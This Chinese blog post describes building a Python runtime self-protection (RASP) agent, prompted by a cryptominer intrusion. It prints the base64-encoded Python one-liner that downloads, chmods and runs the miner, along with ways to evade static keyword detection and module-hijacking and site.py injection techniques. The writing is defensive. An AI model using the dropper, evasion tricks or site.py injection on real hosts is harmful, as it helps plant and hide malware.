Python RASP 工程化:一次入侵的思考
前言
今天讲的内容会很深，包括一些 Python的高级用法和一些自己创造的黑科技，前半部分内容你们可能听过，后半部分内容就真的是黑科技了。。。
深入的研究和思考，总会发现很多有意思的东西。每一次的研究，都不会是无缘无故的，下面开始我们今天的故事。（注意文末有花絮）
Tips: RASP,全称应用运行时自我保护解决方案，可以简单理解为部署在应用环境的监控防御程序。
万事有因果
本次的研究 来源于 对一次入侵手法的思考，众所周知，在linux主机上，挖矿木马比较流行。现在挖比特币的相对少了，又有挖门罗币的。这些木马的植入不会说直接传文件上去，这样动作太大，更多的是通过执行shell命令，远程下载文件并执行 。以如下情况为例，很特别，这是一个通过Python命令植入的挖矿木马：
python -c 'exec("aW1wb3J0IG9zOyBpbXBvcnQgdXJsbGliOyBoZCA9IHVybGxpYi51cmxyZXRyaWV2ZSAoImh0dHA6Ly8xMjcuMC4wLjEvanAvam0iLCAiL3Zhci90bXAvc3ZyIik7IG9zLnN5c3RlbSgiY2htb2QgK3ggL3Zhci90bXAvc3ZyIik7IG9zLnN5c3RlbSgiL3Zhci90bXAvc3ZyIik7".decode("base64"))'
通过base64解密之后的内容(ip脱敏了)：
import os; import urllib; hd = urllib.urlretrieve ("http://127.0.0.1/jp/jm", "/var/tmp/svr"); os.system("chmod +x /var/tmp/svr"); os.system("/var/tmp/svr");
通过base64隐藏真实代码是一个常用的方式，不能说这样做很高明，这条命令特征相对还是比较明显了。
现有的防御办法是静态分析，通过抓取Python 进程参数，匹配关键字，比如exec,decode,base64 就会很容易发现。但是如果咱们脑暴一下做一次静态策略绕过，你会发现静态分析是多么的脆弱。
1.绕过 base64
"base64" = 'case64'.replace('c','b') = '1base641'[1:7]
2. 绕过decode (或者直接不用编码)
str.__dict__["dec"+"ode"]('aW1wb3J0IG1hdGg7YT0xMDtiPW1hdGgubG9nKGEpO3ByaW50KGIpOwo=','base64')
3.终极绝招(妙用管道，让你抓不到Python参数)
echo "exec('aW1wb3J0IG1hdGg7YT0xMDtiPW1hdGgubG9nKGEpO3ByaW50KGIpOwo='.decode('base64'*1))" | python
相信到第3步，静态分析已经穷途末路，你连数据都没有了。
这3次绕过是想说明一个问题，Python语言很灵活，尤其和shell结合后，静态分析这条路已经解决不了实际问题。
问题出在哪呢？问题出在Python语言本身，语法的灵活对静态分析是致命的。我总结了这么一句话，大家可以回味一下：
当字符串可以当作代码执行时，静态分析的尽头也就到了
那该怎么解决呢？从Python语言本身出发，监控整个Python的动态行为，这就是Python RASP。
研究Python RASP值不值得花时间呢？ 你只需要知道每个linux主机上都会预装Python环境，你就知道它的威胁了。
说实话，有开源的PHP RASP，JAVA RASP，还真的没有Python RASP，下面的研究完全是一个摸索的过程。
在研究的过程中，我碰到两次僵局，穷途陌路之感，差一点以为Python RASP 不能发挥很大的作用。
Monkey Patch 与 依赖注入
Python RASP的行为监控，简单来说就是hook关键函数，将函数的参数和返回值，送回策略进行过滤。
（1） Monkey Patch
说到hook，首先想到的是Monkey Patch这种方法，对于Python的理念来说，一切皆对象，我们可以动态修改Python中的对象。举个例子：
在主函数中，修改open内置函数，给open添加的了日志打印的功能。运行效果如下，成功的打印出了日志：
函数调用顺序如下：
open('1.txt','r') ->__call__ ->_pre_hook -> post_hook -> return
但是你有没有发现问题，也就是说我们需要将hook代码添加到用户代码之前，这不现实？
现有业务中这么多项目，这么多脚本，每个项目的代码，我都要改的话，我猜业务同学会杀策略祭天。因此Monkey Patch 这种方式暂时放弃了，换个思路。
（2）依赖注入
如果大家之前做过dll劫持，有一种方式是根据dll加载顺序的先后进行劫持的，同样python中我们也可以用这种方式来做。以import os为例，Python是如何找到os模块呢？搜索顺序如下：
当前目录 -> $PYTHONPATH -> Lib库目录 -> site-package 第三方模块路径
我们要利用的就是$PYTHONPATH环境变量指定的目录，在这个目录下，新建os.py文件，import os就不会去 Lib库目录 中查找模块，从而实现了劫持。 我们既可以劫持函数，也可以劫持类。
2.1 劫持os模块下的system函数
首先在当前pythonpath路径下创建os.py文件，然后重载一下os模块，最后使用_InstallFcnHook改变system。
2.2 劫持socket模块下的_fileObject类
劫持类，我们需要用到Python中元类的概念。元类就是用来创建类的类，函数type实际上是一个元类。
元类的主要目的就是为了当创建类时能够自动地改变类，使用元类来劫持类再合适不过了。需要用到的主要方法和属性如下：
-
__metaclass__：你可以在写一个类的时候为其添加__metaclass__属性, Python就会用它来创建类。__metaclass__可以接受任何可调用的对象，你可以在__metaclass__中放置可以创建一个类的东西
-
__new__:是用来创建类并返回这个类的实例
-
__call__:任何类，只需要定义一个__call__()方法，就可以直接对实例进行调用,用callable来判断是否可被调用
-
__getattribute__:定义了你的属性被访问时的行为
劫持fileObject类，首先在当前pythonpath路径下创建socket.py文件，然后使用_installclshook动态修改此类，当访问_fileobject的属性方法时，返回到_hook_writeline 和 _hook_readline。
依赖注入这种方法，有一个很大的缺陷，就是内置模块中的类和函数没办法劫持。以__builtin__内置模块为例，这个模块是Python虚拟机中内置的，在虚拟机启动之前就已经加载完毕，不会再去pythonpath中去查找，常见的open函数，decode函数都是没办法劫持的。
虽然使用Monkey Patch能解决，但是依旧有上面所说的原因，没办法工程化，这就很苦恼。
破局 到 再次入局
出现僵局总得解决，有一点可以确定的是 Monkey Patch 可以hook内置函数，那要解决的问题就是如何让hook代码永远在在用户代码之前运行，这样我们的hook才能有效控制函数调用。
脑洞大开
在用户代码运行之前是谁运行呢？肯定是Python虚拟机先运行。如果Python虚拟机启动的过程中，预加载了一些模块，你把我们的代码插入这些模块中，不就可以比用户代码先运行了！！！
有时候真的是需要脑洞，事实证明我走对了。网上所有关于monkey patch 的资料，都是在教你修改用户代码，添加hook函数，实现动态修改，这种方式还真没有，可以加个鸡腿了。
脑洞开完之后，下面就需要进行苦逼的分析，你要分析Python虚拟机的初始化过程，必须要看Python源代码了。我就不带大家看代码了，给出一个Python虚拟机模块大致的加载过程。
Python虚拟机在设置模块路径时，其中的第三方模块路径是加载site.py模块进行设置的。Python源码部分如下：
以Windows py2.7为例，打开D:\Python27\Lib目录下的site.py文件，将我们在第二节中的hook代码 引入到文件末尾即可，这样无论运行什么样子的用户代码，都会首先加载我们的hook代码。
本以为到此就结束了，可是才发现刚刚入坑而已。因为就在我打算hook内置 __builtin__模块str类的decode时，出现了异常。
google了一下异常信息，得出一个结论：Monkey Patch可以修改内置模块中的函数，但是没办法修改内置模块中的类属性，比如str的decode函数就没办法了。
其实到这就可以结束了，因为大部分模块，我们都可以hook住了，但是感觉有缺憾，不够完美，还是有漏的，束缚了RASP的能力，因此又有了接下来的黑科技，开脑洞吧。。。
脑洞黑科技
这时候能用的技术都用完了，真是穷途末路了。。。需要点灵感！！！
脑洞时间
之前写java程序的时候，使用过JNI技术，也就是java的C接口，很多java做不到的事情，使用C接口就可以做到，还可以访问java对象。联想到Python Monkey Patch失败的问题，很有可能是在Python层做的禁止，是否可以通过Python C API操作对象呢？
每一个类对象都有一个__dict__，里面包含着每个类的属性信息，例如如果我们想从str取出decode函数，可以这么干：
str.__dict__["decode"]
因此咱们只要获取__dict__属性，对这个属性进行修改，就可以达到替换的目的。咱们使用C API来获取：
通过patch_builtin函数，我们就可以获取__dict__对象，然后使用setattr和getattr修改属性即可，由于我们不改变原有的函数，只是收集日志，所以基本上对虚拟机运行没有影响。最后实验一下效果：
到此为止，Python RASP的所有的技术点都结束了。。。呼吸一口新鲜空气。。。
亦正亦邪
技术点结束了，下面就需要落地了。Python RASP整体分为两部分：Agent和Server,Agent负责hook函数，收集函数日志，并发给Server，Server负责处理日志数据，并制定相应的策略进行过滤报警。
在落地的过程中，有以下问题需要注意：
-
数据压制：Agent在采集函数日志的时候，因为很多Python程序都是做周期性任务，重复数据会很多。
-
兼容性： Python RASP 对于Py2和Py3要进行兼容性处理。
-
自保护：其实对于Python RASP有很多逃逸的方式，对此我们要进行加固，下一篇我们会讲解逃逸和加固。
在设计策略的过程中，注意收集一些执行命令和网络的函数,在下一篇我会列举出来。
大家有没有想过Python RASP中使用的技术，是不是特别像木马后门。这可能就是所谓的技术本没有好坏，看你怎么用罢了。
最后
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